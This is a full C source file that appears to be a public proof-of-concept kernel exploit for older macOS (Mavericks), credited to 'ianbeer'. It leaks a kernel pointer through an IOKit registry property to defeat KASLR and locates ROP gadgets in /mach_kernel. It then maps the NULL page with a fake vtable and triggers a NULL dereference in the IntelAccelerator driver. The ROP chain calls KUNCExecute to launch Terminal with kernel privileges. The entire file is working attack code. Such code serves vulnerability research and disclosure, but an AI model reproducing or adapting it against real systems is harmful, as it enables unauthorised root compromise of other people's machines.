// clang -o ig_2_3_exploit ig_2_3_exploit.c -framework IOKit -framework CoreFoundation -m32 -D_FORTIFY_SOURCE=0
// ianbeer
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <CoreFoundation/CoreFoundation.h>
#include <IOKit/IOKitLib.h>
uint64_t kernel_symbol(char* sym){
char cmd[1024];
strcpy(cmd, "nm -g /mach_kernel | grep ");
strcat(cmd, sym);
strcat(cmd, " | cut -d' ' -f1");
FILE* f = popen(cmd, "r");
char offset_str[17];
fread(offset_str, 16, 1, f);
pclose(f);
offset_str[16] = '\x00';
uint64_t offset = strtoull(offset_str, NULL, 16);
return offset;
}
uint64_t leaked_offset_in_kext(){
FILE* f = popen("nm -g /System/Library/Extensions/IONDRVSupport.kext/IONDRVSupport | grep __ZTV17IONDRVFramebuffer | cut -d' ' -f1", "r");
char offset_str[17];
fread(offset_str, 16, 1, f);
pclose(f);
offset_str[16] = '\x00';
uint64_t offset = strtoull(offset_str, NULL, 16);
offset += 0x10; //offset from symbol to leaked pointer
return offset;
}
uint64_t leak(){
io_iterator_t iter;
CFTypeRef p = IORegistryEntrySearchCFProperty(IORegistryGetRootEntry(kIOMasterPortDefault),
kIOServicePlane,
CFSTR("AAPL,iokit-ndrv"),
kCFAllocatorDefault,
kIORegistryIterateRecursively);
if (CFGetTypeID(p) != CFDataGetTypeID()){
printf("expected CFData\n");
return 1;
}
if (CFDataGetLength(p) != 8){
printf("expected 8 bytes\n");
return 1;
}
uint64_t leaked = *((uint64_t*)CFDataGetBytePtr(p));
return leaked;
}
extern CFDictionaryRef OSKextCopyLoadedKextInfo(CFArrayRef, CFArrayRef);
uint64_t kext_load_addr(char* target_name){
uint64_t addr = 0;
CFDictionaryRef kd = OSKextCopyLoadedKextInfo(NULL, NULL);
CFIndex count = CFDictionaryGetCount(kd);
void **keys;
void **values;
keys = (void **)malloc(sizeof(void *) * count);
values = (void **)malloc(sizeof(void *) * count);
CFDictionaryGetKeysAndValues(kd,
(const void **)keys,
(const void **)values);
for(CFIndex i = 0; i < count; i++){
const char *name = CFStringGetCStringPtr(CFDictionaryGetValue(values[i], CFSTR("CFBundleIdentifier")), kCFStringEncodingMacRoman);
if (strcmp(name, target_name) == 0){
CFNumberGetValue(CFDictionaryGetValue(values[i],
CFSTR("OSBundleLoadAddress")),
kCFNumberSInt64Type,
&addr);
printf("%s: 0x%016llx\n", name, addr);
break;
}
}
return addr;
}
uint64_t load_addr(){
uint64_t addr = 0;
CFDictionaryRef kd = OSKextCopyLoadedKextInfo(NULL, NULL);
CFIndex count = CFDictionaryGetCount(kd);
void **keys;
void **values;
keys = (void **)malloc(sizeof(void *) * count);
values = (void **)malloc(sizeof(void *) * count);
CFDictionaryGetKeysAndValues(kd,
(const void **)keys,
(const void **)values);
for(CFIndex i = 0; i < count; i++){
const char *name = CFStringGetCStringPtr(CFDictionaryGetValue(values[i], CFSTR("CFBundleIdentifier")), kCFStringEncodingMacRoman);
if (strcmp(name, "com.apple.iokit.IONDRVSupport") == 0){
CFNumberGetValue(CFDictionaryGetValue(values[i],
CFSTR("OSBundleLoadAddress")),
kCFNumberSInt64Type,
&addr);
printf("%s: 0x%016llx\n", name, addr);
break;
}
}
return addr;
}
uint64_t* build_vtable(uint64_t kaslr_slide, size_t* len){
uint64_t kernel_base = 0xffffff8000200000;
kernel_base += kaslr_slide;
int fd = open("/mach_kernel", O_RDONLY);
if (!fd)
return NULL;
struct stat _stat;
fstat(fd, &_stat);
size_t buf_len = _stat.st_size;
uint8_t* buf = mmap(NULL, buf_len, PROT_READ, MAP_FILE|MAP_PRIVATE, fd, 0);
if (!buf)
return NULL;
/*
this stack pivot to rax seems to be reliably present across mavericks versions:
push rax
add [rax], eax
add [rbx+0x41], bl
pop rsp
pop r14
pop r15
pop rbp
ret
*/
uint8_t pivot_gadget_bytes[] = {0x50, 0x01, 0x00, 0x00, 0x5b, 0x41, 0x5c, 0x41, 0x5e};
uint8_t* pivot_loc = memmem(buf, buf_len, pivot_gadget_bytes, sizeof(pivot_gadget_bytes));
uint64_t pivot_gadget_offset = (uint64_t)(pivot_loc - buf);
printf("offset of pivot gadget: %p\n", pivot_gadget_offset);
uint64_t pivot = kernel_base + pivot_gadget_offset;
/*
pop rdi
ret
*/
uint8_t pop_rdi_ret_gadget_bytes[] = {0x5f, 0xc3};
uint8_t* pop_rdi_ret_loc = memmem(buf, buf_len, pop_rdi_ret_gadget_bytes, sizeof(pop_rdi_ret_gadget_bytes));
uint64_t pop_rdi_ret_gadget_offset = (uint64_t)(pop_rdi_ret_loc - buf);
printf("offset of pop_rdi_ret gadget: %p\n", pop_rdi_ret_gadget_offset);
uint64_t pop_rdi_ret = kernel_base + pop_rdi_ret_gadget_offset;
/*
pop rsi
ret
*/
uint8_t pop_rsi_ret_gadget_bytes[] = {0x5e, 0xc3};
uint8_t* pop_rsi_ret_loc = memmem(buf, buf_len, pop_rsi_ret_gadget_bytes, sizeof(pop_rsi_ret_gadget_bytes));
uint64_t pop_rsi_ret_gadget_offset = (uint64_t)(pop_rsi_ret_loc - buf);
printf("offset of pop_rsi_ret gadget: %p\n", pop_rsi_ret_gadget_offset);
uint64_t pop_rsi_ret = kernel_base + pop_rsi_ret_gadget_offset;
/*
pop rdx
ret
*/
uint8_t pop_rdx_ret_gadget_bytes[] = {0x5a, 0xc3};
uint8_t* pop_rdx_ret_loc = memmem(buf, buf_len, pop_rdx_ret_gadget_bytes, sizeof(pop_rdx_ret_gadget_bytes));
uint64_t pop_rdx_ret_gadget_offset = (uint64_t)(pop_rdx_ret_loc - buf);
printf("offset of pop_rdx_ret gadget: %p\n", pop_rdx_ret_gadget_offset);
uint64_t pop_rdx_ret = kernel_base + pop_rdx_ret_gadget_offset;
munmap(buf, buf_len);
close(fd);
/*
in IOAcceleratorFamily2
two locks are held - r12 survives the pivot, this should unlock all the locks from there:
__text:0000000000006F80 lea rsi, unk_32223
__text:0000000000006F87 mov rbx, [r12+118h]
__text:0000000000006F8F mov rax, [rbx]
__text:0000000000006F92 mov rdi, rbx
__text:0000000000006F95 xor edx, edx
__text:0000000000006F97 call qword ptr [rax+858h]
__text:0000000000006F9D mov rdi, rbx ; this
__text:0000000000006FA0 call __ZN22IOGraphicsAccelerator211unlock_busyEv ; IOGraphicsAccelerator2::unlock_busy(void)
__text:0000000000006FA5 mov rdi, [rbx+88h]
__text:0000000000006FAC call _IOLockUnlock
__text:0000000000006FB1
__text:0000000000006FB1 loc_6FB1: ; CODE XREF: IOAccelContext2::clientMemoryForType(uint,uint *,IOMemoryDescriptor **)+650j
__text:0000000000006FB1 xor ecx, ecx
__text:0000000000006FB3 jmp loc_68BC
...
__text:00000000000068BC mov eax, ecx ; jumptable 00000000000067F1 default case
__text:00000000000068BE add rsp, 38h
__text:00000000000068C2 pop rbx
__text:00000000000068C3 pop r12
__text:00000000000068C5 pop r13
__text:00000000000068C7 pop r14
__text:00000000000068C9 pop r15
__text:00000000000068CB pop rbp
__text:00000000000068CC retn
*/
uint64_t unlock_locks = kext_load_addr("com.apple.iokit.IOAcceleratorFamily2") + kaslr_slide + 0x6f80;
printf("0x%016llx\n", unlock_locks);
uint64_t KUNCExecute = kernel_symbol("_KUNCExecute") + kaslr_slide;
uint64_t thread_exception_return = kernel_symbol("_thread_exception_return") + kaslr_slide;
//char* payload = "/Applications/Calculator.app/Contents/MacOS/Calculator";
char* payload = "/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal";
uint64_t rop_stack[] = {
0, //pop r14
0, //pop r15
0, //pop rbp +10
unlock_locks,
pivot, //+20 virtual call is rax+20
0, //+10
0, //+18
0,
0, //+28
0,
0, //+38
0, //pop rbx
0, //pop r12
0, //pop r13
0, //pop r14
0, //pop r15
0, //pop rbp
pop_rdi_ret,
(uint64_t)payload,
pop_rsi_ret,
0,
pop_rdx_ret,
0,
KUNCExecute,
thread_exception_return
};
uint64_t* r = malloc(sizeof(rop_stack));
memcpy(r, rop_stack, sizeof(rop_stack));
*len = sizeof(rop_stack);
return r;
}
void trigger(void* vtable, size_t vtable_len){
//need to overallocate and touch the pages since this will be the stack:
mach_vm_address_t addr = 0x41420000 - 10 * 0x1000;
mach_vm_allocate(mach_task_self(), &addr, 0x20*0x1000, 0);
memset(addr, 0, 0x20*0x1000);
memcpy((void*)0x41420000, vtable, vtable_len);
//map NULL page
vm_deallocate(mach_task_self(), 0x0, 0x1000);
addr = 0;
vm_allocate(mach_task_self(), &addr, 0x1000, 0);
char* np = 0;
for (int i = 0; i < 0x1000; i++){
np[i] = 'A';
}
volatile uint64_t* zero = 0;
*zero = 0x41420000;
//trigger vuln
CFMutableDictionaryRef matching = IOServiceMatching("IntelAccelerator");
io_iterator_t iterator;
kern_return_t err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
io_service_t service = IOIteratorNext(iterator);
io_connect_t conn = MACH_PORT_NULL;
err = IOServiceOpen(service, mach_task_self(), 2, &conn);
addr = 0x12345000;
mach_vm_size_t size = 0x1000;
err = IOConnectMapMemory(conn, 3, mach_task_self(), &addr, &size, kIOMapAnywhere);
}
int main() {
uint64_t leaked_ptr = leak();
uint64_t kext_load_addr = load_addr();
// get the offset of that pointer in the kext:
uint64_t offset = leaked_offset_in_kext();
// sanity check the leaked address against the symbol addr:
if ( (leaked_ptr & 0xfff) != (offset & 0xfff) ){
printf("the leaked pointer doesn't match up with the expected symbol offset\n");
return 1;
}
uint64_t kaslr_slide = (leaked_ptr - offset) - kext_load_addr;
printf("kaslr slide: %p\n", kaslr_slide);
size_t vtable_len = 0;
void* vtable = build_vtable(kaslr_slide, &vtable_len);
trigger(vtable, vtable_len);
return 0;
}
